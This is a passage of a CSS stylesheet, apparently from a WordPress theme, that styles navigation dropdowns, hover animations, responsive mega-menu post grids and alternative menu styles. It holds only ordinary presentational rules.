.is-sticky #navigation.header-10 .show-search form.pc-searchform input.search-input,
.is-sticky #navigation.header-6 .show-search form.pc-searchform input.search-input {
	height: 58px;
	padding: 15px 35px 15px 0
}
#navigation .penci-dropdown-menu,
#navigation .sub-menu,
.navigation .penci-dropdown-menu,
.navigation .sub-menu {
	pointer-events: none
}
#navigation li:hover>.penci-dropdown-menu,
#navigation li:hover>.sub-menu,
.navigation li:hover>.penci-dropdown-menu,
.navigation li:hover>.sub-menu {
	pointer-events: auto
}
#navigation .menu .sub-menu {
	visibility: hidden;
	opacity: 0;
	position: absolute;
	left: 0;
	z-index: 9999;
	box-shadow: 0 3px 3px rgba(190, 190, 190, .6);
	-webkit-box-shadow: 0 3px 3px rgba(190, 190, 190, .6);
	-moz-box-shadow: 0 3px 3px rgba(190, 190, 190, .6);
	border-top: 1px solid #ececec;
	margin-top: 0;
	background: #fff
}
#navigation ul.menu ul.sub-menu li>a {
	margin: 0 20px;
	padding: 12px 0;
	font-size: 12px;
	min-width: 200px;
	line-height: 1.4;
	-moz-transition: color .3s, background-color .3s;
	-webkit-transition: color .3s, background-color .3s;
	transition: color .3s, background-color .3s;
	border-bottom: 1px solid #e0e0e0;
	text-align: left;
	border-left: none !important;
	position: relative;
	overflow: hidden;
	vertical-align: top
}
#navigation ul.menu ul.sub-menu li,
#navigation ul.menu ul.sub-menu ul li {
	padding-right: 0;
	margin-right: 0;
	float: none;
	position: relative;
	width: 100%
}
#navigation .menu ul.sub-menu>li:last-child>a {
	border-bottom: none
}
#navigation .menu .sub-menu ul {
	left: 100%;
	top: 0
}
body #navigation .menu .sub-menu,
body .navigation .menu .sub-menu,
body .penci-dropdown-menu {
	transition: transform .27s ease-in-out, opacity .27s ease-in-out, visibility .27s ease-in-out;
	-webkit-transform-origin: 0 0;
	-moz-transform-origin: 0 0;
	-ms-transform-origin: 0 0;
	-o-transform-origin: 0 0;
	transform-origin: 0 0
}
body.pcmn-drdw-style-slide_down #navigation .menu .sub-menu,
body.pcmn-drdw-style-slide_down .navigation .menu .sub-menu,
body.pcmn-drdw-style-slide_down .penci-dropdown-menu {
	-webkit-transform: rotateX(-90deg);
	-moz-transform: rotateX(-90deg);
	-ms-transform: rotateX(-90deg);
	-o-transform: rotateX(-90deg);
	transform: rotateX(-90deg)
}
body.pcmn-drdw-style-slide_down #navigation .menu ul li:hover>.penci-dropdown-menu,
body.pcmn-drdw-style-slide_down #navigation .menu ul li:hover>ul,
body.pcmn-drdw-style-slide_down #navigation ul.menu li:hover>.penci-dropdown-menu,
body.pcmn-drdw-style-slide_down #navigation ul.menu li:hover>ul,
body.pcmn-drdw-style-slide_down .navigation .menu ul li:hover>.penci-dropdown-menu,
body.pcmn-drdw-style-slide_down .navigation .menu ul li:hover>ul,
body.pcmn-drdw-style-slide_down .navigation ul.menu li:hover>.penci-dropdown-menu,
body.pcmn-drdw-style-slide_down .navigation ul.menu li:hover>ul {
	visibility: visible;
	opacity: 1;
	-webkit-transform: rotateX(0);
	-moz-transform: rotateX(0);
	-ms-transform: rotateX(0);
	-o-transform: rotateX(0);
	transform: rotateX(0)
}
body.pcmn-drdw-style-fadein_up #navigation .menu .sub-menu,
body.pcmn-drdw-style-fadein_up .navigation .menu .sub-menu,
body.pcmn-drdw-style-fadein_up .penci-dropdown-menu {
	-ms-transform: translateY(10px);
	transform: translateY(10px)
}
body.pcmn-drdw-style-fadein_down #navigation .menu .sub-menu,
body.pcmn-drdw-style-fadein_down .navigation .menu .sub-menu,
body.pcmn-drdw-style-fadein_down .penci-dropdown-menu {
	-ms-transform: translateY(-10px);
	transform: translateY(-10px)
}
body.pcmn-drdw-style-fadein_down #navigation .menu ul li:hover>.penci-dropdown-menu,
body.pcmn-drdw-style-fadein_down #navigation .menu ul li:hover>ul,
body.pcmn-drdw-style-fadein_down #navigation ul.menu li:hover>.penci-dropdown-menu,
body.pcmn-drdw-style-fadein_down #navigation ul.menu li:hover>ul,
body.pcmn-drdw-style-fadein_down .navigation .menu ul li:hover>.penci-dropdown-menu,
body.pcmn-drdw-style-fadein_down .navigation .menu ul li:hover>ul,
body.pcmn-drdw-style-fadein_down .navigation ul.menu li:hover>.penci-dropdown-menu,
body.pcmn-drdw-style-fadein_down .navigation ul.menu li:hover>ul,
body.pcmn-drdw-style-fadein_up #navigation .menu ul li:hover>.penci-dropdown-menu,
body.pcmn-drdw-style-fadein_up #navigation .menu ul li:hover>ul,
body.pcmn-drdw-style-fadein_up #navigation ul.menu li:hover>.penci-dropdown-menu,
body.pcmn-drdw-style-fadein_up #navigation ul.menu li:hover>ul,
body.pcmn-drdw-style-fadein_up .navigation .menu ul li:hover>.penci-dropdown-menu,
body.pcmn-drdw-style-fadein_up .navigation .menu ul li:hover>ul,
body.pcmn-drdw-style-fadein_up .navigation ul.menu li:hover>.penci-dropdown-menu,
body.pcmn-drdw-style-fadein_up .navigation ul.menu li:hover>ul {
	visibility: visible;
	opacity: 1;
	-ms-transform: translateY(0);
	transform: translateY(0)
}
body.pcmn-drdw-style-fadein_left #navigation .menu .sub-menu,
body.pcmn-drdw-style-fadein_left .navigation .menu .sub-menu,
body.pcmn-drdw-style-fadein_left .penci-dropdown-menu {
	-ms-transform: translateX(-10px);
	transform: translateX(-10px)
}
body.pcmn-drdw-style-fadein_right #navigation .menu .sub-menu,
body.pcmn-drdw-style-fadein_right .navigation .menu .sub-menu,
body.pcmn-drdw-style-fadein_right .penci-dropdown-menu {
	-ms-transform: translateX(10px);
	transform: translateX(10px)
}
body.pcmn-drdw-style-fadein_left #navigation .menu ul li:hover>.penci-dropdown-menu,
body.pcmn-drdw-style-fadein_left #navigation .menu ul li:hover>ul,
body.pcmn-drdw-style-fadein_left #navigation ul.menu li:hover>.penci-dropdown-menu,
body.pcmn-drdw-style-fadein_left #navigation ul.menu li:hover>ul,
body.pcmn-drdw-style-fadein_left .navigation ul.menu li:hover>.penci-dropdown-menu,
body.pcmn-drdw-style-fadein_left .navigation ul.menu li:hover>ul,
body.pcmn-drdw-style-fadein_right #navigation .menu ul li:hover>.penci-dropdown-menu,
body.pcmn-drdw-style-fadein_right #navigation .menu ul li:hover>ul,
body.pcmn-drdw-style-fadein_right #navigation ul.menu li:hover>.penci-dropdown-menu,
body.pcmn-drdw-style-fadein_right #navigation ul.menu li:hover>ul,
body.pcmn-drdw-style-fadein_right .navigation ul.menu li:hover>.penci-dropdown-menu,
body.pcmn-drdw-style-fadein_right .navigation ul.menu li:hover>ul {
	visibility: visible;
	opacity: 1;
	-ms-transform: translateX(0);
	transform: translateX(0)
}
body.pcmn-drdw-style-fadein_none #navigation .menu .sub-menu,
body.pcmn-drdw-style-fadein_none .navigation .menu .sub-menu,
body.pcmn-drdw-style-fadein_none .penci-dropdown-menu {
	opacity: 0
}
body.pcmn-drdw-style-fadein_none #navigation .menu ul li:hover>.penci-dropdown-menu,
body.pcmn-drdw-style-fadein_none #navigation ul.menu li:hover>.penci-dropdown-menu,
body.pcmn-drdw-style-fadein_none .navigation ul.menu li:hover>.penci-dropdown-menu,
body.pcmn-drdw-style-fadein_none .navigation ul.menu li:hover>ul {
	visibility: visible;
	opacity: 1
}
#navigation .menu li.penci-mega-menu {
	position: static !important
}
li.penci-mega-menu>ul.sub-menu {
	display: none
}
#sidebar-nav li.penci-mega-menu .penci-content-megamenu,
.penci-menu-hbg li.penci-mega-menu .penci-content-megamenu {
	display: none !important
}
#navigation .menu li.penci-mega-menu>ul.sub-menu {
	width: 100%;
	padding: 0 !important;
	clear: both;
	display: block
}
#navigation .menu li.penci-block-mega.penci-mg-fullwidth>.penci-dropdown-menu {
	width: 100vw !important;
	left: calc((100vw - var(--pcctain))/ 2 * -1) !important
}
#navigation .menu li.penci-block-mega.penci-mg-fullwidth,
#navigation .menu li.penci-block-mega.penci-mg-fullwidth.penci-megapos-center,
#navigation .menu li.penci-block-mega.penci-mg-fullwidth.penci-megapos-flexible,
.navigation .menu li.penci-block-mega.penci-mg-fullwidth.penci-megapos-center,
.navigation .menu li.penci-block-mega.penci-mg-fullwidth.penci-megapos-flexible {
	position: static !important
}
#navigation .menu li.penci-block-mega.penci-mg-fullwidth>.penci-dropdown-menu>.container {
	width: 100%
}
#navigation .penci-megamenu {
	width: 100%;
	display: table
}
#navigation .penci-megamenu .penci-mega-child-categories {
	width: 230px;
	display: table-cell;
	vertical-align: top;
	background: #fff;
	padding: 20px 0;
	position: relative
}
#navigation .penci-megamenu .penci-mega-child-categories.pcmit-top {
	display: table-row;
	width: 100%
}
#navigation .penci-megamenu .penci-mega-child-categories.pcmit-bottom {
	display: table-footer-group;
	width: 100%
}
#navigation .penci-megamenu .penci-mega-child-categories:after {
	content: "";
	width: 1px;
	height: 100%;
	position: absolute;
	top: 0;
	right: 0;
	background-color: #ececec
}
#navigation .penci-megamenu .penci-mega-child-categories a {
	min-width: 0;
	display: block;
	font-size: 12px;
	text-align: right;
	line-height: 1.4em;
	margin: 0;
	padding: 12px 20px;
	border-top: 1px solid transparent;
	border-bottom: 1px solid transparent;
	position: relative
}
#navigation .penci-megamenu .penci-mega-child-categories.pcmit-bottom a,
#navigation .penci-megamenu .penci-mega-child-categories.pcmit-top a {
	display: inline-block
}
#navigation .penci-megamenu .penci-mega-child-categories a.cat-active {
	border-top-color: #ececec;
	border-bottom-color: #ececec;
	background: #fff;
	color: var(--pcaccent-cl);
	z-index: 10;
	position: relative
}
#navigation .penci-megamenu .penci-mega-child-categories a.cat-active:before {
	content: "";
	width: 1px;
	height: 100%;
	position: absolute;
	top: 0;
	right: 0;
	background: #fff;
	z-index: 1;
	transition: none;
	-webkit-transition: none;
	-moz-transition: none
}
#navigation .penci-megamenu .penci-content-megamenu {
	display: table-cell
}
#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts {
	padding: 20px 10px 0 10px
}
#navigation .penci-megamenu .penci-content-megamenu .penci-mega-row {
	width: 100%;
	display: none;
	vertical-align: top
}
.penci-mega-post-inner {
	position: relative;
	overflow: hidden;
}
#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-post,
.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-post {
	width: 20%;
	padding: 0 10px;
	float: left;
	margin-bottom: 20px;
	position: relative
}
#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-4 .penci-mega-post,
.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-4 .penci-mega-post {
	width: 25%
}
#navigation .penci-megamenu .pcmit-side+.penci-content-megamenu.pcmis-4 .penci-mega-latest-posts.col-mn-4 .penci-mega-post,
.navigation .penci-megamenu .pcmit-side+.penci-content-megamenu.pcmis-4 .penci-mega-latest-posts.col-mn-4 .penci-mega-post {
	width: calc(100% / 3)
}
.navigation .penci-megamenu .pcmit-side+.penci-content-megamenu.pcmis-4 .penci-mega-latest-posts.col-mn-4 .penci-mega-post:nth-child(3n+1),
#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-5 .penci-mega-post:nth-child(5n+1),
.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-5 .penci-mega-post:nth-child(5n+1) {
	clear: both
}
#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-4 .penci-mega-post:nth-child(4n+1),
.navigation .penci-megamenu .pcmit-side+.penci-content-megamenu.pcmis-4 .penci-mega-latest-posts.col-mn-4 .penci-mega-post:nth-child(3n+1){
	clear: none
}
.penci-megamenu .penci-image-holder:before {
	padding-top: 66.6667%
}
@media only screen and (min-width:1800px) {
	#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7 .penci-mega-post {
		width: 14.2857%
	}
	#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6 .penci-mega-post {
		width: 16.66666%
	}
	#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6 .penci-mega-post:nth-child(6n+1),
	#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7 .penci-mega-post:nth-child(7n+1) {
		clear: both
	}
}
@media only screen and (max-width:1799px) and (min-width:1500px) {
	#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7 .penci-mega-post {
		width: 16.66666%
	}
	#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6 .penci-mega-post {
		width: 20%
	}
	#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6 .penci-mega-post:nth-child(5n+1),
	#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7 .penci-mega-post:nth-child(6n+1) {
		clear: both
	}
	#navigation .penci-megamenu .penci-content-megamenu.pcmis-5 .penci-mega-latest-posts.col-mn-6 .penci-mega-post:nth-child(5n+1) {
		clear: none
	}
}
@media only screen and (max-width:1799px) {
	#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-6.mega-row-1 .penci-mega-post:nth-child(6),
	#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-6.mega-row-2 .penci-mega-post:nth-child(11),
	#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-6.mega-row-2 .penci-mega-post:nth-child(12),
	#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-6.mega-row-3 .penci-mega-post:nth-child(16),
	#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-6.mega-row-3 .penci-mega-post:nth-child(17),
	#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-6.mega-row-3 .penci-mega-post:nth-child(18),
	#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-7.mega-row-1 .penci-mega-post:nth-child(7),
	#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-7.mega-row-2 .penci-mega-post:nth-child(13),
	#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-7.mega-row-2 .penci-mega-post:nth-child(14),
	#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-7.mega-row-3 .penci-mega-post:nth-child(19),
	#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-7.mega-row-3 .penci-mega-post:nth-child(20),
	#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-7.mega-row-3 .penci-mega-post:nth-child(21) {
		display: none
	}
}
@media only screen and (max-width:1499px) and (min-width:1170px) {
	#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7 .penci-mega-post {
		width: 20%
	}
	#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6 .penci-mega-post {
		width: 25%
	}
	#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6 .penci-mega-post:nth-child(4n+1),
	#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7 .penci-mega-post:nth-child(5n+1) {
		clear: both
	}
}
@media only screen and (max-width:1499px) {
	#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-1 .penci-mega-post:nth-child(5),
	#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-2 .penci-mega-post:nth-child(10),
	#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-2 .penci-mega-post:nth-child(9),
	#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-3 .penci-mega-post:nth-child(13),
	#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-3 .penci-mega-post:nth-child(14),
	#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-3 .penci-mega-post:nth-child(15),
	#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-1 .penci-mega-post:nth-child(6),
	#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-2 .penci-mega-post:nth-child(11),
	#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-2 .penci-mega-post:nth-child(12),
	#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-3 .penci-mega-post:nth-child(16),
	#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-3 .penci-mega-post:nth-child(17),
	#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-3 .penci-mega-post:nth-child(18) {
		display: none
	}
}
@media only screen and (max-width:1169px) {
	#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7 .penci-mega-post {
		width: 25%
	}
	#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6 .penci-mega-post {
		width: 33.33333%
	}
	#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6 .penci-mega-post:nth-child(3n+1),
	#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7 .penci-mega-post:nth-child(4n+1) {
		clear: both
	}
	#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-1 .penci-mega-post:nth-child(4),
	#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-2 .penci-mega-post:nth-child(7),
	#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-2 .penci-mega-post:nth-child(8),
	#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-3 .penci-mega-post:nth-child(10),
	#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-3 .penci-mega-post:nth-child(11),
	#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-6.mega-row-3 .penci-mega-post:nth-child(12),
	#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-1 .penci-mega-post:nth-child(5),
	#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-2 .penci-mega-post:nth-child(10),
	#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-2 .penci-mega-post:nth-child(9),
	#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-3 .penci-mega-post:nth-child(13),
	#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-3 .penci-mega-post:nth-child(14),
	#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-7.mega-row-3 .penci-mega-post:nth-child(15) {
		display: none
	}
}
#navigation .penci-megamenu .penci-mega-thumbnail {
	display: block;
	margin: 0 0 17px 0;
	position: relative
}
#navigation .penci-megamenu .penci-mega-thumbnail a {
	width: 100%
}
#navigation .penci-megamenu .penci-mega-thumbnail .mega-cat-name {
	font-size: 10px;
	background: var(--pcaccent-cl);
	text-transform: uppercase;
	position: absolute;
	display: inline-block;
	padding: 0 6px;
	color: #fff;
	top: 0;
	left: 0;
	z-index: 3;
	height: 18px;
	font-weight: 400;
	line-height: 18px
}
#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-post a {
	margin: 0;
	padding: 0;
	min-width: 0;
	border-bottom: none;
	position: relative;
	text-align: center;
	line-height: 1.4
}
#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-post a:hover,
.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-post a:hover {
	color: var(--pcaccent-cl)
}
#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-thumbnail a {
	transition: opacity .3s;
	-webkit-transition: opacity .3s;
	-moz-transition: opacity .3s
}
#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-thumbnail a:hover {
	opacity: .8
}
#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-thumbnail .mega-cat-name a {
	font-size: inherit !important;
	font-family: inherit !important;
	font-weight: inherit !important;
	line-height: inherit !important;
	color: inherit !important;
	opacity: 1;
	padding: 0;
	margin: 0;
	text-transform: none;
	letter-spacing: 0
}
#navigation .penci-megamenu .penci-mega-thumbnail img {
	width: 100%;
	height: auto
}
.penci-megamenu .post-mega-title {
	font-family: var(--pchead-font);
	font-style: normal;
	font-weight: var(--pchead-wei);
	line-height: 1.35
}
#navigation .penci-megamenu .post-mega-title {
	text-align: center;
	margin: 0
}
#navigation .penci-megamenu .post-mega-title a {
	text-align: center
}
#navigation .penci-megamenu .penci-mega-date {
	line-height: 1;
	font-size: 12px;
	color: #999;
	text-align: center;
	margin-top: 6px
}
#navigation ul.menu>li.megamenu {
	position: static
}
#navigation ul.menu>li.megamenu>ul.sub-menu {
	width: var(--pcctain);
	padding: 15px 0;
	display: table;
	table-layout: fixed;
	background: #fff;
	left: 0
}
#navigation.header-7 ul.menu>li.megamenu>ul.sub-menu,
#navigation.header-8 ul.menu>li.megamenu>ul.sub-menu,
#navigation.header-9 ul.menu>li.megamenu>ul.sub-menu {
	width: 100%
}
#navigation ul.menu>li.megamenu>ul.sub-menu>li {
	min-width: 200px;
	max-width: 300px;
	display: table-cell;
	vertical-align: top;
	padding: 0 5px;
	margin: 0;
	position: relative
}
#navigation ul.menu>li.megamenu>ul.sub-menu>li:before {
	left: 0;
	content: "";
	position: absolute;
	top: 15px;
	bottom: 15px;
	width: 1px;
	display: block;
	background: #e0e0e0
}
#navigation ul.menu>li.megamenu>ul.sub-menu>li:first-child:before {
	content: none;
	display: none
}
#navigation ul.menu>li.megamenu>ul.sub-menu>li>a {
	margin: 0 20px;
	border-bottom: 1px solid #e0e0e0;
	display: none
}
#navigation ul.menu>li.megamenu>ul.sub-menu>li>ul.sub-menu {
	visibility: visible;
	opacity: 1;
	transform: none;
	-webkit-transform: none;
	-moz-transform: none;
	box-shadow: none;
	-webkit-box-shadow: none;
	-moz-box-shadow: none;
	position: static;
	border: none
}
#navigation ul.menu>li.megamenu>ul.sub-menu>li>ul.sub-menu li,
#navigation ul.menu>li.megamenu>ul.sub-menu>li>ul.sub-menu li a {
	display: block
}
#navigation.menu-style-2 .menu>ul>li>a:before,
#navigation.menu-style-2 ul.menu>li>a:before {
	content: none;
	display: none
}
#navigation .menu>ul>li.menu-item-has-children>a:after,
#navigation .menu>ul>li.penci-mega-menu>a:after,
#navigation ul.menu>li.menu-item-has-children>a:after,
#navigation ul.menu>li.penci-mega-menu>a:after {
	font-family: FontAwesome;
	content: "\f107";
	margin-left: 5px;
	color: inherit;
	font-size: 13px;
	font-weight: 400;
	width: auto;
	display: inline-block;
	transform: scale(.8)
}
#navigation ul.sub-menu>li.menu-item-has-children>a:after {
	font-family: FontAwesome;
	content: "\f105";
	margin-left: 5px;
	color: inherit;
	font-size: 13px;
	font-weight: 400;
	width: auto;
	display: inline-block;
	float: right;
	transform: scale(.8)
}
.penci-fawesome-ver5 #navigation .menu>ul>li.menu-item-has-children>a:after,
.penci-fawesome-ver5 #navigation .menu>ul>li.penci-mega-menu>a:after,
.penci-fawesome-ver5 #navigation ul.menu>li.menu-item-has-children>a:after,
.penci-fawesome-ver5 #navigation ul.menu>li.penci-mega-menu>a:after {
	font-family: "Font Awesome 5 Free";
	content: "\f107";
	font-weight: 900
}
#navigation.menu-style-2 .menu .children,
#navigation.menu-style-2 .menu .sub-menu {
	border-top: 4px solid #e0e0e0;
	padding: 8px 0
}
#navigation.menu-style-2 .menu ul ul.sub-menu:before,
#navigation.menu-style-2 ul.menu ul.sub-menu:before {
	width: 0;
	height: 4px;
	top: -4px;
	position: absolute;
	background: var(--pcaccent-cl);
	left: 0;
	-webkit-transition: width .4s cubic-bezier(.87, .02, .23, 1);
	-webkit-transition: width .4s cubic-bezier(.87, .02, .23, 1.005);
	-moz-transition: width .4s cubic-bezier(.87, .02, .23, 1.005);
	-o-transition: width .5s cubic-bezier(.87, .02, .23, 1.005);
	transition: width .5s cubic-bezier(.87, .02, .23, 1.005);
	content: "";
	transition-delay: .3s;
	-webkit-transition-delay: .3s;
	-moz-transition-delay: .3s
}
#navigation.menu-style-2 .menu ul li:hover>ul:before,
#navigation.menu-style-2 ul.menu li:hover>ul:before {
	width: 100%
}
#navigation.menu-style-2 ul.menu ul.sub-menu a {
	padding: 8px 0;
	border: none !important
}
#navigation.menu-style-2 .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts {
	padding: 0
}
#navigation.menu-style-2 .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-post {
	margin: 0;
	position: relative;
	z-index: 5
}
#navigation.menu-style-2 .penci-megamenu .penci-content-megamenu.pcmis-1 .penci-mega-latest-posts .penci-mega-post {
	padding: 0 0 15px;
}
#navigation.menu-style-2 .penci-megamenu .penci-mega-thumbnail {
	position: relative;
	z-index: 5
}
#navigation.menu-style-2 .penci-megamenu .penci-mega-meta {
	padding: 0 5px
}
#navigation.menu-style-2 .penci-megamenu .post-mega-title {
	line-height: 1
}
.menu-style-2 .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-post:before {
	position: absolute;
	content: "";
	right: 0;
	top: 0;
	bottom: 0;
	width: 1px;
	background: #f1f1f2;
	z-index: 1
}
#navigation.menu-style-2 .penci-megamenu .penci-mega-thumbnail .mega-cat-name {
	bottom: 0;
	top: auto
}
#navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories {
	padding: 12px 0
}
#navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories:after {
	background-color: #f1f1f2
}
#navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a {
	min-width: 0;
	display: block;
	text-align: left;
	line-height: 1.4em;
	margin: 0;
	padding: 6px 0 6px 20px;
	position: relative;
	border: none;
	background-color: inherit;
	z-index: 0
}
#navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories.pcmit-bottom a,
#navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories.pcmit-top a {
	display: inline-block
}
#navigation.menu-style-2 ul.sub-menu .penci-megamenu .penci-mega-child-categories a,
.navigation.menu-style-2 ul.sub-menu .penci-megamenu .penci-mega-child-categories a {
	padding: 6px 0 6px 20px
}
#navigation.menu-style-2 ul.sub-menu .penci-megamenu .penci-mega-child-categories.pcmit-bottom a,
#navigation.menu-style-2 ul.sub-menu .penci-megamenu .penci-mega-child-categories.pcmit-top a {
	padding-top: 20px;
	padding-bottom: 20px
}
#navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a:after {
	content: "";
	display: block;
	position: absolute;
	top: 50%;
	margin-top: -.5px;
	-webkit-transition: width .4s ease-in-out;
	-o-transition: width .4s ease-in-out;
	transition: width .4s ease-in-out;
	border-bottom: 1px solid;
	width: 0;
	opacity: .3;
	left: 20px;
	z-index: 1;
	box-shadow: none;
	-webkit-box-shadow: none;
	color: inherit
}
#navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a:hover:after {
	width: calc(100% + 20px)
}
#navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a span {
	position: relative;
	z-index: 2;
	background-color: inherit;
	padding-right: 20px;
	display: inline-block
}
#navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a.all-style:before {
	content: "";
	background: #f1f1f2;
	width: 24px;
	display: block;
	height: 1px;
	margin: 4px 0 17px;
	opacity: 1;
	position: static;
	box-shadow: none;
	-webkit-box-shadow: none
}
#navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories.pcmit-bottom a.all-style:before,
#navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories.pcmit-top a.all-style:before {
	display: none
}
#navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a.all-style:after {
	content: none;
	display: none
}
#navigation.menu-style-2 ul.menu>li.megamenu>ul.sub-menu {
	padding: 5px 0
}
#navigation.menu-style-2 ul.menu>li.megamenu>ul.sub-menu>li>ul.sub-menu:before {
	display: none;
	content: none
}
#navigation.menu-style-3 .menu .children,
#navigation.menu-style-3 .menu .penci-dropdown-menu,
#navigation.menu-style-3 .menu .sub-menu,
.navigation.menu-style-3 .menu .children,
.navigation.menu-style-3 .menu .penci-dropdown-menu,
.navigation.menu-style-3 .menu .sub-menu {
	border: 1px solid var(--pcborder-cl)
}
#navigation.menu-style-3 .menu .sub-menu:after,
#navigation.menu-style-3 .menu .sub-menu:before,
.navigation.menu-style-3 .menu .sub-menu:after,
.navigation.menu-style-3 .menu .sub-menu:before {
	width: 0;
	height: 0;
	border-style: solid;
	border-width: 0 6px 6px 6px;
	border-color: transparent transparent var(--pcborder-cl) transparent;
	transform: rotate(0);
	position: absolute;
	top: -6px;
	left: 14px;
	content: "";
	z-index: 99
}
#navigation.menu-style-3 .menu .sub-menu .sub-menu:after,
#navigation.menu-style-3 .menu .sub-menu .sub-menu:before,
.navigation.menu-style-3 .menu .sub-menu .sub-menu:after,
.navigation.menu-style-3 .menu .sub-menu .sub-menu:before {
	top: 10px;
	left: -6px;
	border-width: 6px 6px 6px 0;
	border-color: transparent var(--pcborder-cl) transparent transparent;
	border-bottom-color: transparent !important
}
#navigation.menu-style-3 .menu .sub-menu:after,
